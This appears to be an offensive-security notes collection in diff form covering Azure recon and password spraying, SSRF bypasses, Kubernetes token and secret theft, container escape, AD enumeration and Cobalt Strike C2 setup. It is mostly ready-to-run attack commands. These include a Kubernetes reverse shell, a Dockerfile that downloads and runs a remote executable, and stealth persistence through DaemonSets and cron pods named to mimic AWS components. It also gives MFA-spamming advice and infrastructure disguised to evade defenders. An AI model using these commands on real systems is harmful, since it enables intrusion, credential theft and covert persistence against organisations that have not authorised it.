1. Determine base-word search terms to work with. This will usually be linked with the name of the Azure customer that you are engaged with or known terms that are associated with the organization; for example, packt, azurepentesting, azurept, and so on
|
||||
2. Create permutations on the base words to identify potential subdomain names; for example, packt-prod, packt-dev, azurepentesting-stage, azurept-qa, and so on.
|
||||
- The Microsoft Azure resource naming best practices have been published at https://docs.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-bestpractices/resource-naming (you can also use this shortened URL: http://bit.ly/azurenamingbestpractices).
|
||||
3. Enumerate subdomains that match these permutations using a tool such as MicroBurst, Gobuster, or DNSscan.
|
||||
- MicroBurst is best because it is Azure-specific
|
||||
- `Invoke-EnumerateAzureSubDomains -Base azurepentesting`
|
||||
|
||||
- Determine whether custom domains are hosted in Azure
|
||||
- `nslookup <domain>`
|
||||
- Note IP address
|
||||
- `Invoke-WebRequest https://cloudipchecker.azurewebsites.net/api/servicetags/manual?ip=<IP_ADDRESS> -UseBasicParsing | Select-Object -ExpandProperty Content`
|
||||
|
||||
- Identifying misconfigured blobs
|
||||
- Enumerate storage account containers with default permutation list
|
||||
- `Invoke-EnumerateAzureBlobs -Base <basestring>`
|
||||
- Can specity custom container name list in text file
|
||||
- `Invoke-EnumerateAzureBlobs -Base azurepentesting -Folders .\customcontainer.txt`
|
||||
- Download containers with weak permissions
|
||||
- `Invoke-WebRequest -Uri "https://azurepentesting.blob.core.windows.net/public/README.txt" -OutFile "README.txt"`
|
||||
- `Invoke-WebRequest -Uri "https://azurepentesting.blob.core.windows.net/private/credentials.txt" -OutFile "credentials.txt"`
|
||||
|
||||
- Spray Microsoft Online accounts
|
||||
- Generate text file containing user principal names (format: \<username\>@\<domain\>.com, eg. al@cthulhupentest.com)
|
||||
- Spray using MSOLSpray
|
||||
- `Invoke-MSOLSpray -UserList .\userlist.txt -Password myPassword123`
|
||||
- Note the script also is able to tell if MFA is enabled for each user
|
||||
|
||||
- If credentials are restricted by Conditional Access policies or MFA:
|
||||
- Look for bypass with MFASweep
|
||||
- `Invoke-MFASweep -Username [email protected] -Password myPassword123`
|
||||
- Social engineering or simply spamming the user with MFA requests may work
|
||||
- It worked against Uber...
|
||||
@@ -0,0 +1,10 @@
|
||||
- The IP address "169.254.169.254" is routed to the hypervisor and retrieves networking, firewall, and related information for virtually all cloud providers.
|
||||
- This is the call you should make first if you find SSRF in a cloud instance.
|
||||
- If this IP address is specifically banned/filtered:
|
||||
- Try various alternate representations of it:
|
||||
- http://169.254.169.254 - decimal
|
||||
- http://0xa9fea9fe - hexadecimal
|
||||
- http://0xA9.0xFE.0xA9.0xFE - dotted
|
||||
- http://025177524776 - octal
|
||||
- http://①⑥⑨.②⑤④.①⑥⑨.②⑤④ - Unicode
|
||||
- Register a domain you own that points to this IP address - public domains can be registered to private IPs
|
||||
@@ -0,0 +1,21 @@
|
||||
|
||||
- Get all Configmaps With Sensetive Details In Keys
|
||||
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.key|(contains("pass") or contains("secret") or contains("token"))))'`
|
||||
|
||||
- Get all configmaps with sensetive details in values
|
||||
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.value|(contains("pass") or contains("secret") or contains("token"))))'`
|
||||
|
||||
- Get Containers With Sensitive Details In env
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].env | select(. != null)' | awk '{print(tolower($0))}' | jq -r '.[] | select(.name | (contains("pass") or contains("secret") or contains("token")))'`
|
||||
|
||||
- Get the Kubernetes Token Mounted by Default
|
||||
- `TOKEN=$(kubectl exec $POD_NAME -n $NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)`
|
||||
|
||||
- Test Communication to the Kubernetes API Server
|
||||
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api --header 'Authorization: Bearer $TOKEN' --insecure`
|
||||
|
||||
- List all Kubernetes Cluster Secrets
|
||||
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api/v1/namespaces/kube-system/secrets --header 'Authorization: Bearer $TOKEN' --insecure`
|
||||
|
||||
- Get AWS EC2 Instance Metadata Token
|
||||
- `kubectl exec ingress-nginx-controller-df547d78c-rxww2 -n ingress-nginx -- curl http://169.254.169.254/latest/meta-data/iam/security-credentials/nodes.kopstest.k8s.local`
|
||||
@@ -0,0 +1,57 @@
|
||||
- Get API version
|
||||
- `curl -Lk https://<API_IP>/version --header "Authorization: Bearer $TOKEN"`
|
||||
- Useful API endpoints
|
||||
- Spec
|
||||
- `https://<API_IP>/openapi/v2`
|
||||
- Secrets
|
||||
- `api/v1/namespaces/default/secrets/`
|
||||
- Account information
|
||||
- `api/v1/namespaces/default/serviceaccounts`
|
||||
- Get Load Balancers
|
||||
- `kubectl get services --all-namespaces -o jsonpath='{range .items[?(@.spec.type=="LoadBalancer")]}{.status.loadBalancer.ingress[*].hostname}:{.spec.ports[*].port}{"\n"}{end}'`
|
||||
- List pods in `kube-system` namespace
|
||||
- `kubectl get pods -n kube-system`
|
||||
- Get all secrets (requires cluster admin permissions, usually `kube-system` token)
|
||||
- `kubectl get secrets --all-namespaces`
|
||||
- List all pods running on current node to determine which secrets are accessible
|
||||
- `kubectl get pods --all-namespaces --field-selector spec.nodeName=<node_name>`
|
||||
- Retrieve specific secret
|
||||
- `kubectl get secret <secret_name> -o json -n <namespace> | jq .data`
|
||||
- Get External IP's of all nodes
|
||||
- `kubectl get nodes --all-namespaces -o jsonpath='{range .items[*].status.addresses[?(@.type=="ExternalIP")]}{.address}{"\n"}{end}'`
|
||||
- Get Kubernetes API Server Config
|
||||
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl describe pod $POD_NAME --namespace kube-system`
|
||||
- Get list of nodes sorted by creation time (useful for finding stable machines for persistence)
|
||||
- `kubectl get nodes –sort-by=.metadata.creationTimestamp`
|
||||
- Get Kubernetes API Server Container Args
|
||||
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl get pod $POD_NAME --namespace kube-system -o json | jq -r '.spec.containers | .[] |select(.name == "kube-apiserver")| .args'`
|
||||
|
||||
- Get Network Policies
|
||||
- `kubectl get networkpolicy --all-namespaces`
|
||||
|
||||
- Get Cluster Admin Role Bindings
|
||||
- `kubectl get clusterrolebindings | grep "ClusterRole/cluster-admin"`
|
||||
|
||||
- Get Cluster Roles With Secrets Access
|
||||
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Roles With Secrets Access
|
||||
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Cluster Roles with Configmaps Access
|
||||
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Roles with Configmaps Access
|
||||
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Pods With Containers Without Resources Limits
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[] | select(.resources.limits == null).name'`
|
||||
|
||||
- Get All Containers Images
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].image' | sort | uniq`
|
||||
|
||||
- Get cluster roles with wildcard resources
|
||||
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get roles with wildcard resources
|
||||
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
|
||||
@@ -0,0 +1,5 @@
|
||||
- Run a Reverse Shell from the Kubernetes Cluster to your Host
|
||||
- `kubectl run pod-shell --image=busybox -- nc <HOST> <PORT> -e /bin/sh`
|
||||
|
||||
- Get the External IP for Egress Communication to the Internet
|
||||
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://ipinfo.io/json`
|
||||
@@ -0,0 +1,32 @@
|
||||
- Increase number of containers currently deployed
|
||||
- `kubectl scale --replicas=3 deployment/nginx`
|
||||
- Update application version of running containers
|
||||
- `kubectl set image deployment/nginx-deployment\nginx=nginx:1.9.1 --record`
|
||||
- Get a shell on a particular container
|
||||
- `kubectl exec sparcflow/nginx-<container_number> bash`
|
||||
- Deploy a pod according to YAML manifest file
|
||||
- `kubectl apply -f <manifest_file>`
|
||||
- Get a list of running pods
|
||||
- `kubectl get pods`
|
||||
- Clean output
|
||||
- `kubectl get pods -n prod -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name"`
|
||||
- Destroy pod
|
||||
- `kubectl delete -f <manifest_file>`
|
||||
- Check for service account secrets
|
||||
1. `mount |grep -i secrets`
|
||||
2. `cat /run/secrets/kubernetes.io/serviceaccount/token`
|
||||
- Decode JWT secret
|
||||
- `cat /run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f 2 | base64 -d`
|
||||
- Interact with API with pilfered secret:
|
||||
1. `export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)`
|
||||
2. `env` - Determine location of API
|
||||
3. `curl -Lk https://10.100.0.1/api --header "Authorization: Bearer $TOKEN"`
|
||||
- Check authorization to perform various actions
|
||||
- `kubectl version auth can-i <action>`
|
||||
- `kubectl version auth can-i get nodes`
|
||||
- `kubectl version auth can-i get pods`
|
||||
- Make sure you specify namespace with -n if the above succeeds, but the actual action fails. Use namespace specified in the JWT
|
||||
- Extract manifest of all pods
|
||||
- `kubectl get pods -n prod -o yaml > output.yaml`
|
||||
- Get nicely formatted output:
|
||||
- ` kubectl get pods -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name,PODIP:.status.podIP,SERVICE:.spec.serviceAccount,ENV:.spec.containers[*].env[*].valueFrom.secretKeyRef,FILESECRET:.spec.volumes[*].secret.secretName"`
|
||||
@@ -0,0 +1,106 @@
|
||||
- Use redundant means in cloud and Kubernetes environments, since the instances/nodes/pods/etc. are constantly in flux.
|
||||
- Stable -> spinning up a malicious pod
|
||||
- Unstable -> running executable inside a current pod or on a cloud node
|
||||
- Useful names for container/pods/bucket to blend in:
|
||||
- Container - `amazon-k8s-cni` - Mimics legitimate Amazon image
|
||||
- S3 bucket - `(amazon-cni-plugin-essentials` - Blends in with more legit Amazon infra
|
||||
- Persistence within AWS Kubernetes is most convenient by spinning up a new pod of the `DaemonSet`, `aws-node` variety
|
||||
- Service account is automatically given read-only access to everything
|
||||
- All containers mount the docker socket for easy root access to the host
|
||||
- **Caveat**: make sure to limit the nodes this runs on; by default `DaemonSet` runs on every node
|
||||
- Create:
|
||||
1. Pull the manifest of the existing, normal `DaemonSet`
|
||||
- `kubectl get DaemonSet aws-node -o yaml -n kube-system > aws-ds-manifest.yaml`
|
||||
2. Change the location of the image to location of malicious image
|
||||
- `sed -E "s/image: .*/image: 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3/g" -i aws-ds-manifest.yaml`
|
||||
3. Change the name of the `DaemonSet` to avoid conflicting with the existing, normal `DaemonSet`
|
||||
- `sed "s/ name: aws-node/ name: aws-node-cni/g" -i aws-ds-manifest.yaml`
|
||||
4. Replace host and container port to avoid conflict
|
||||
- `sed -E "s/Port: [0-9]+/Port: 12711/g" -i aws-ds-manifest.yaml`
|
||||
5. Update node label key and value - specify which nodes should run the pod
|
||||
- `sed "s/ key: beta.kubernetes.io\/os/ key: service/g" -i aws-ds-manifest.yaml`
|
||||
- `sed "s/ linux/ kafka-broker-collector/g" -i aws-ds-manifest.yaml`
|
||||
6. Push new manifest to the cluster
|
||||
- `kubectl -f apply -n kube-system aws-ds-manifest.yaml`
|
||||
- Can also use `ReplicaSet`
|
||||
- This would allow us to use `aws-node` as the name since they would belong to a different Kubernetes object than `DaemonSet`
|
||||
|
||||
- Cron job
|
||||
- Can be implemented at the cluster level to spin up a pod at a certain time or under certain conditions
|
||||
- For additional stealth, the cron pod can be used to contact the Docker socket and spin up a new container in which to run the malicious code, allowing the cron pod to terminate gracefully.
|
||||
- Advantage of this is it is set up separate from Kubernetes and invisible to the cluster.
|
||||
- Use a container name that mimics the typical "pause" containers - there are always many running
|
||||
|
||||
- Kubernetes mutating webhook - post v1.15
|
||||
- Look into this
|
||||
- [Writing a very basic Kubernetes mutating admission webhook](https://medium.com/ovni/writing-a-very-basic-kubernetes-mutating-admission-webhook-398dbbcb63ec)
|
||||
|
||||
|
||||
- Example Dockerfile to download and run an arbitrary executable within Alpine container
|
||||
```Dockerfile
|
||||
FROM alpine
|
||||
CMD ["/bin/sh", "-c", "wget https://amazon-cni-plugin-essentials.s3.amazonaws.com/run -O /root/run && chmod +x /root/run && /root/run"]
|
||||
```
|
||||
|
||||
- Example manifest file for persistence cron:
|
||||
```YAML
|
||||
apiVersion: batch/v1beta1
|
||||
kind: CronJob
|
||||
metadata:
|
||||
name: metrics-collect
|
||||
spec:
|
||||
schedule: "0 10 * * *"
|
||||
jobTemplate:
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
containers:
|
||||
- name: metrics-collect
|
||||
image: 882347352467.dkr.ecr.eu-west-1.amazonaws.com/amazon-metrics-collector
|
||||
volumeMounts:
|
||||
- mountPath: /var/run/docker.sock
|
||||
name: dockersock
|
||||
volumes:
|
||||
- name: dockersock
|
||||
hostPath:
|
||||
path: /var/run/docker.sock
|
||||
restartPolicy: Never
|
||||
```
|
||||
|
||||
- Example Docker image for persistence cron:
|
||||
```Dockerfile
|
||||
FROM debian: buster-slim
|
||||
RUN apt update && apt install -y git make
|
||||
RUN apt install -y prometheus-varnish-exporter
|
||||
COPY init.sh /var/run/init.sh
|
||||
ENTRYPOINT ["/var/run/init.sh"]
|
||||
```
|
||||
|
||||
- Script to pull image, create a container, and start a container independent of Kubernetes (update image paths and such):
|
||||
```BASH
|
||||
# Pull the image from the ECR registry
|
||||
curl \
|
||||
--silent \
|
||||
--unix-socket /var/run/docker.sock \
|
||||
"http://docker/images/create?fromImage=881445392307.dkr.ecr.eu-west\
|
||||
-1.amazonaws.com/pause-amd64" \
|
||||
-X POST
|
||||
# Create the container from the image and mount the / directory
|
||||
curl \
|
||||
--silent \
|
||||
--unix-socket /var/run/docker.sock \
|
||||
"http://docker/containers/create?name=pause-go-amd64-4413" \
|
||||
-X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "Image": "881445392307.dkr.ecr.eu-west-1.amazonaws.com/pause-amd64",\
|
||||
"Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}'
|
||||
# Start the container
|
||||
curl \
|
||||
--silent \
|
||||
--unix-socket /var/run/docker.sock \
|
||||
"http://docker/containers/pause-go-amd64-4413/start" \
|
||||
-X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
--output /dev/null \
|
||||
--write-out "%{http_code}"
|
||||
```
|
||||
@@ -0,0 +1,12 @@
|
||||
|
||||
- Get Pods With Privileged Containers
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.privileged == true)).metadata.name'`
|
||||
|
||||
- Get Pods with Containers allowed to perform Privilege Escalation
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.allowPrivilegeEscalation == true)).metadata.name'`
|
||||
|
||||
- Get Pods with Containers running as Root
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.runAsUser == 0)).metadata.name'`
|
||||
|
||||
- Get Pods with Containers including System Admin Capability
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.containers[].securityContext.capabilities.add | index("SYS_ADMIN") | select(. != null)).metadata.name'`
|
||||
@@ -0,0 +1,11 @@
|
||||
- Note; a lot of this info is also contained in the "Windows" and "PowerShell" sections; this is for miscellaneous AD enum
|
||||
|
||||
- Enumerate all nested members of a group or all nested groups of a user with a raw LDAP query using OID
|
||||
- `net ads search -k -s ad. local '(CN=Domain Admins)' memberof`
|
||||
- Get groups of which "Domain Admins" is a member, without OID
|
||||
- `net ads search -k -5 ad. local '(member:1.2.840.113556.1.4.1941:=CN=Domain Admins, CN=Users, DC=ad, DC=local)' cn`
|
||||
- Use OID to walk the nested groups and find out that Domain Admins is actually a member of more groups
|
||||
- `net ads search -k -s ad. local '(CN=Domain Admins)' member`
|
||||
- Find members of Domain Admins group without OID
|
||||
- `net ads search -k -5 ad.local '(memberof:1.2.840.113556.1.4.1941: =CN=Domain Admins, CN=Users, DC=ad, DC=local)' cn`
|
||||
- Use OID to walk nested groups and get ALL effective members of Domain Admins
|
||||
@@ -0,0 +1,15 @@
|
||||
- Zone Transfer
|
||||
- `dig @<server IP> ironcorp.me axfr`
|
||||
- `nslookup ls -d <domain name>`
|
||||
- Extract all DNS records via LDAP (requires domain user)
|
||||
- `adidnsdump -u contoso\\Anakin contoso.local`
|
||||
- DNSRecon
|
||||
- `dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml`
|
||||
- Internal Network
|
||||
- `nmap --script broadcast-dhcp-discover`
|
||||
- Uses DHCP Discover requests to enumerate the current domain
|
||||
- Get a list of domain controllers (replace domain.local with domain name)
|
||||
- `dig -t SRV _gc._tcp.domain.local`
|
||||
- `dig -t SRV _ldap._tcp.domain.local`
|
||||
- `dig -t SRV _kerberos._tcp.domain.local`
|
||||
- `dig -t SRV _kpasswd._tcp.domain.local`
|
||||
@@ -0,0 +1,45 @@
|
||||
- Find
|
||||
- Find SUID binaries
|
||||
- `find / -perm -u=s -type f 2>/dev/null`
|
||||
- Find SGID binaries
|
||||
- `find / -perm -g=s -type f 2>/dev/null`
|
||||
- Find sticky-bit binaries
|
||||
- `find / -perm -1000 -type d 2>/dev/null`
|
||||
- Containerized environments (docker)
|
||||
- Determine whether you're in a containerized environment by evaluating the process with PID 1 in `/proc`
|
||||
- Command line attributes
|
||||
- `cat /proc/1/cmdline`
|
||||
- The command starting the first process in a typical Linux system will be `/sbin/init` or `/usr/lib/systemd`; in a container it will often be `/bin/sh` or `/bin/bash`
|
||||
- Control Groups
|
||||
- `cat /proc/1/cgroup`
|
||||
- There will be mentions of "docker" or the other containerization tool being used here
|
||||
- Mounts
|
||||
- `cat /proc/1/mounts`
|
||||
- Again, look for mentions of "docker" or similar
|
||||
- CHECK ENVIRONMENT VARIABLES - containers are usually passed important data for their application and basic operation through environment variables. You'll often find access keys, session tokens, secrets, Kubernetes information, and other stuff.
|
||||
- Look in `.env` files in application's directory
|
||||
- Privileged mode
|
||||
- Check for this by checking `/dev`; a typical docker container will only have a few devices listed in here, but a typical Linux system will have many. In a privileged container, you'll be able to see the many devices present on the main system.
|
||||
- `tty` devices are usually a dead giveaway to a privileged container
|
||||
- Exploitation
|
||||
- Privileged containers allow the container to modify any aspects of the home system. Mount the main partition and write an SSH key into `/root/.ssh/authorized_keys`, modify `/etc/passwd`, or whatever.
|
||||
1. Find main partition
|
||||
- `fdisk -l`
|
||||
- For Linux machines in AWS, the main device is usually `/dev/xvda` and the main partition is usually `/dev/xvda1`
|
||||
1. Mount the main partition
|
||||
- `mkdir /mnt/cthulhu; mount <main_partition> /mnt/cthulhu`
|
||||
2. Modify `authorized_keys` or `/etc/passwd`.
|
||||
- Capabilities
|
||||
- Check what capabilities your docker container has
|
||||
- `cat /proc/self/status | grep Cap`
|
||||
- Decode the capabilities to make them readable
|
||||
- `capsh --decode=<hex_capability_identifier>`
|
||||
- Docker socket
|
||||
- Docker exposes a REST API so that containers can communicate with the docker daemon on the host. If it can be reached from within the container, commands can be directed at Docker itself to start a privileged container and escalate permissions/escape.
|
||||
- Check for the docker socket from within container:
|
||||
- `curl --unix-socket /var/run/docker.sock http://localhost/images/json`
|
||||
- `ls /var/run/docker.sock`
|
||||
- `mount | grep docker`
|
||||
- Docker socket has to be interacted with through curl, but the basic command to start a privileged container with the socket mounted:
|
||||
- `docker run --privileged 1 -v /:/hostOS -v /var/run/docker.sock:/var/run/docker.sock -v /usr/bin/docker:/usr/bin/docker -d <image>`
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
- Enum4Linux
|
||||
- `enum4linux –a 10.0.0.1`
|
||||
- `python3 enum4linux-ng <IP>`
|
||||
- RPCBind
|
||||
- `rpcinfo –p x.x.x.x`
|
||||
- Scan subnet for Windows/Samba
|
||||
- `nbtscan x.x.x.x`
|
||||
- Nmap
|
||||
- `nmap IPADDR --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse`
|
||||
- SMBClient
|
||||
- List available shares
|
||||
- `smbclient -L //INSERTIPADDRESS/`
|
||||
- Browse share
|
||||
- `smbclient //INSERTIPADDRESS/ipc$ -U john`
|
||||
@@ -0,0 +1,10 @@
|
||||
- SNMPWalk
|
||||
- `snmpwalk -c public -v1 10.0.0.0`
|
||||
- SNMPCheck
|
||||
- `snmpcheck -t 192.168.1.X -c public`
|
||||
- OneSixtyOne
|
||||
- `onesixtyone -c names -i hosts`
|
||||
- Nmap
|
||||
- `nmap -sT -p 161 192.168.X.X -oG snmp_results.txt`
|
||||
- SNMPEnum
|
||||
- `snmpenum -t 192.168.1.X`
|
||||
@@ -0,0 +1,2 @@
|
||||
- Convoluted Rick Roll
|
||||
- `echo H4sIAAAAAAAAA1WNQQqAMAwE774iL/IP0S4q1kRiU+nvLdWDPQSW2WUyIsNoURGmZcugok5+DuOPR6SGg97SFeZCbOoSiOsFXLA2 7VYH7692ttIVF5eaNEwFHU+IkerbDU27+id9ACq9dHasAAAA | base64 -d | gzip -d`
|
||||
@@ -0,0 +1,3 @@
|
||||
- Disable staging
|
||||
- `set host_stage "false";`
|
||||
- Restart teamserver
|
||||
@@ -0,0 +1,29 @@
|
||||
############################
|
||||
### Categorizing Domains ###
|
||||
############################
|
||||
|
||||
### These are sites to be used for domain categorization ###
|
||||
|
||||
* Bluecoat/Symantec - https://sitereview.bluecoat.com/sitereview.jsp
|
||||
* McAfee - https://www.trustedsource.org
|
||||
* Palo Alto Wildfire - https://urlfiltering.paloaltonetworks.com/query/
|
||||
* Websense - https://csi.forcepoint.com & https://www.websense.com/content/SiteLookup.aspx (needs registration)
|
||||
* Fortiguard - http://www.fortiguard.com/iprep
|
||||
* IBM X-force - https://exchange.xforce.ibmcloud.com/url/
|
||||
* F-Secure SENSE - https://www.f-secure.com/en/web/labs_global/submit-a-sample
|
||||
* Checkpoint - https://www.checkpoint.com/urlcat/main.htm (needs registration)
|
||||
* Squid - https://www.urlfilterdb.com/suggestentries/add_url.html
|
||||
* Cisco Talos - https://talosintelligence.com/reputation_center/ (needs registration)
|
||||
* TrendMicro Smart Protection - https://global.sitesafety.trendmicro.com
|
||||
|
||||
### Steps to prepare a domain for categorization ###
|
||||
|
||||
1. Login to your Domain's Registrar
|
||||
2. Set an "A" record on the parent domain to point to a legitimate website, preferrably one that aligns with your domain.
|
||||
Ex: (our domain) ec2-amazonaws.net --> (legitimate domain) amazonaws.com
|
||||
3. After setting the "A" record, let it sit for 5-7 days
|
||||
4. Now go to the domain categorization links and type in our parent domain
|
||||
5. Set the categorization on it. If you're mirroring it to a similar domain, use the same exact categorization label.
|
||||
6. Do NOT remove the "A" record on the parent domain that was set earlier. When they query the parent domain, we want it to still be directed at a legitimate website.
|
||||
7. Some domain categorization sites may send an email to verify you are in control of the domain. If so, setup an email inbox to catch any responses so you can confirm you are the owner.
|
||||
8. Once categorization has been applied/submitted, check back in 5-14 days to allow it to be processed.
|
||||
@@ -0,0 +1,156 @@
|
||||
- Apache - SSL redirector setup
|
||||
```
|
||||
sudo apt install apache2
|
||||
sudo a2enmod ssl rewrite proxy proxy_http
|
||||
cd /etc/apache2/sites-enabled; sudo rm 000-default.conf
|
||||
sudo ln -s ../sites-available/default-ssl.conf .
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
- Generate fresh SSL certificate
|
||||
- `openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key`
|
||||
- Fields are arbitrary, but the Common Name should be the public IP or fully qualified domain name
|
||||
- Get certificates signed by trusted CA - generate a certificate signing request (CSR)
|
||||
- `openssl req -new -key private.key -out acme.csr`
|
||||
- Use certbot to get it signed - note that public IP is logged at thi stage
|
||||
- `certbot certonly -d acmecorp.uk --apache --register-unsafely-without-email --agree-tos`
|
||||
- Copy signed certs into appropriate directories
|
||||
- `cp /etc/letsencrypt/archive/acmecorp.uk/fullchain.pem /etc/ssl/certs`
|
||||
- `cp /etc/letsencrypt/archive/acmecorp.uk/privkey.pem /etc/ssl/private`
|
||||
- Remember to update SSLCertificateFile and SSLCertificateKeyFile in `/etc/apache2/sites-available/default-ssl.conf`
|
||||
- TIP: add this line to default-ssl to force Apache to ignore Cobalt Strike's self-signed ssl certificate on the HTTPS listener
|
||||
- `SSLProxyCheckPeerCN off`
|
||||
- Restart Apache
|
||||
- `sudo systemctl restart apache2`
|
||||
|
||||
- Teamserver config - import public certificate and private key from certbot into your Cobalt Strike Java KeyStore
|
||||
- Combine into PKCS12
|
||||
- `openssl pkcs12 -inkey private.key -in public.crt -export -out acme.pkcs12`
|
||||
- Convert into Java KeyStore using keytool
|
||||
- `keytool -importkeystore -srckeystore acme.pkcs12 -srcstoretype pkcs12 -destkeystore acme.store`
|
||||
- Reference KeyStore in a malleable C2 profile
|
||||
```
|
||||
https-certificate {
|
||||
set keystore "acme.store";
|
||||
set password "password";
|
||||
}
|
||||
```
|
||||
- KeyStore should be in the same directory as Cobalt Strike teamserver
|
||||
- `sudo ./teamserver 10.10.0.69 Passw0rd! c2-profiles/normal/webbug_getonly.profile`
|
||||
|
||||
- Generate SSH tunnel between teamserver and redirector (manual)
|
||||
- `ssh -N -R 8443:localhost:443 -i ssh-user ssh-user@<redirector IP>`
|
||||
- Verify listening port on redirector
|
||||
- `sudo ss -ltnp`
|
||||
- `curl -v -k https://localhost:8443`
|
||||
- Check CS web log to verify
|
||||
- Verify the web server port is not reachable directly
|
||||
- `curl -v -k https://<teamserver listener IP>`
|
||||
|
||||
- Generate SSH tunnel between teamserver and redirector (autossh)
|
||||
- `vim ~/.ssh/config`
|
||||
```
|
||||
Host redirector-1
|
||||
HostName 10.10.5.39
|
||||
User ssh-user
|
||||
Port 22
|
||||
IdentityFile /home/ubuntu/ssh-user
|
||||
RemoteForward 8443 localhost:443
|
||||
ServerAliveInterval 30
|
||||
ServerAliveCountMax 3
|
||||
```
|
||||
- `autossh -M 0 -f -N redirector-1`
|
||||
|
||||
- Configure .htaccess
|
||||
- `vim /etc/apache2/sites-enabled/default-ssl.conf
|
||||
- Under </VirtualHost>, add:
|
||||
```
|
||||
<Directory /var/www/html/>
|
||||
Options Indexes FollowSymLinks MultiViews
|
||||
AllowOverride All
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
- Underneath `SSLEngine on`, add `SSLProxyEngine on`
|
||||
- Restart Apache
|
||||
- `sudo systemctl restart apache2`
|
||||
- Overwrite index.html with content (ideally that looks nice and semi-legit)
|
||||
- `echo "Hello from Apache" | sudo tee /var/www/html/index.html`
|
||||
- Create a new .htaccess file in the Apache web root (/var/www/html) and enter the following:
|
||||
```
|
||||
RewriteEngine on
|
||||
RewriteRule ^test$ index.html [NC]
|
||||
```
|
||||
- Processed top to bottom
|
||||
- Watch out for infinite loops
|
||||
- NOTE: RewriteRule is a simple redirect; first param is a regex and second is a redirection target (can be external domain)
|
||||
- `[NC]` means to ignore case
|
||||
- Multiple flags can be used with the syntax: `[Flag1,Flag2,FlagN]`
|
||||
```
|
||||
[L] - Last. Tells mod_rewrite to stop processing further rules.
|
||||
[NE] - No Escape. Don't encode special characters (e.g. & and ?) to their hex values.
|
||||
[P] - Proxy. Handle the request with mod_proxy.
|
||||
[R] - Redirect. Send a redirect code in response.
|
||||
[S] - Skip. Skip the next N number of rules.
|
||||
[T] - Type. Sets the MIME type of the response.
|
||||
```
|
||||
- Test:
|
||||
- `curl -k https://localhost/test`
|
||||
- RewriteCond can be combined with RewriteRule to only redirect under certain conditions: `TestString Condition [Flags]`
|
||||
- Test string can be static but also variables, such as `%{REMOTE_ADDR}`, `%{HTTP_COOKIE}`, `${HTTP_USER_AGENT}`, `%{REQUEST_URI}`
|
||||
- Multiple conditions can be defined, AND by default but `[OR]` flag can be specified
|
||||
- https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
|
||||
- User-Agent redirect
|
||||
- Blocking curl and wget:
|
||||
```
|
||||
RewriteEngine on
|
||||
|
||||
RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
|
||||
RewriteRule .* - [F]
|
||||
```
|
||||
- Redirecting based on Windows 10 devices:
|
||||
```
|
||||
RewriteCond %{HTTP_USER_AGENT} "Windows NT 10.0" [NC]
|
||||
RewriteRule .* https://localhost:8443/win-payload [P]
|
||||
```
|
||||
